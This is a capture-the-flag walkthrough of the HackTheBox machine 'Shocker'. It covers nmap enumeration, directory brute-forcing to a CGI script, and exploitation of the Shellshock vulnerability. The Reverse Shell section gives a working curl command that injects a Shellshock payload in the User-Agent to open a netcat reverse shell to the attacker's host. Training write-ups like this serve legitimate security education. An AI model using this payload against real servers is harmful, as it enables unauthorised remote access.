> For the complete documentation index, see [llms.txt](https://choochisiang.gitbook.io/report/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://choochisiang.gitbook.io/report/hackthebox/shocker-easy.md).

# Shocker (Easy)

## Enumeration

### Nmap

```
nmap -sC -sV -oA nmap/10.10.10.56 10.10.10.56
```

```
Nmap scan report for 10.10.10.56
Host is up (0.11s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul  2 12:30:09 2021 -- 1 IP address (1 host up) scanned in 22.73 seconds
```

Port 80 is open, let's have a look

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-Mg5_goyGaSxmV-0ISLj%2F-Mg5cY0dnGTk3FCVsQOB%2Fimage.png?alt=media\&token=3dcf1fc8-7a0b-471e-84c6-f7d6bccd8158)

We can't find anything on this page, so lets directory brute force it

### Dirbuster

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-Mg5_goyGaSxmV-0ISLj%2F-Mg5ePbREDV1Mih88ImH%2Fimage.png?alt=media\&token=22278167-3d57-415b-bfcf-f7764b4c2c01)

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-Mg5_goyGaSxmV-0ISLj%2F-Mg5eZpNc9zJj3GCg-Ww%2Fimage.png?alt=media\&token=65403b8a-7650-4f18-a26b-5425d5b2554f)

We can see there is a file called user.sh

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-Mg5_goyGaSxmV-0ISLj%2F-Mg5efdshf4-GkZBHenx%2Fimage.png?alt=media\&token=62d86b76-08bb-4196-b6c8-9137f7d34169)

We can download it.

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-Mg5_goyGaSxmV-0ISLj%2F-Mg5ekcMIrNrr3w9mCy_%2Fimage.png?alt=media\&token=20ac71ab-8e4f-4c94-85c9-cc6a161e8698)

After some research, we can know that this vulnerability is called shell shock. Explanation can be found at [pentesterlab](https://pentesterlab.com/exercises/cve-2014-6271/course).

## Reverse Shell

```
curl -A "() { :; }; /bin/bash -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.16.23 4444 >/tmp/f'" http://10.10.10.56/cgi-bin/user.sh
```

Fire up our listener, and run this command, then we will get a shell.

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-Mg5_goyGaSxmV-0ISLj%2F-Mg5fdbPzSEFhG6cTcXm%2Fimage.png?alt=media\&token=3f6d9281-7990-49e0-a22d-63f7a6067c1b)

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-Mg5_goyGaSxmV-0ISLj%2F-Mg5fohUCqLK-dawIbZa%2Fimage.png?alt=media\&token=ce558629-e233-4534-bd19-14a84c54363c)

## Privilege Escalation

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-Mg5_goyGaSxmV-0ISLj%2F-Mg5fuEx5ylC2AIsUwgG%2Fimage.png?alt=media\&token=bac970ec-fa58-4b57-828d-c2980b08869c)

We can navigate to [GTFObin](https://gtfobins.github.io/gtfobins/perl/#sudo) to exploit it.

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-Mg5_goyGaSxmV-0ISLj%2F-Mg5g7ftM0W-taJ8a7Kf%2Fimage.png?alt=media\&token=c4b580b4-a6fc-49be-bff2-e15cddb43f02)

![](https://1595701629-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M6jqZqh8dnhmWJDpTuf%2F-Mg5_goyGaSxmV-0ISLj%2F-Mg5gE_3nseiaJV14Oep%2Fimage.png?alt=media\&token=8e6e3c38-6924-4d3d-9b3b-c3cba0c30cb5)

Rooted!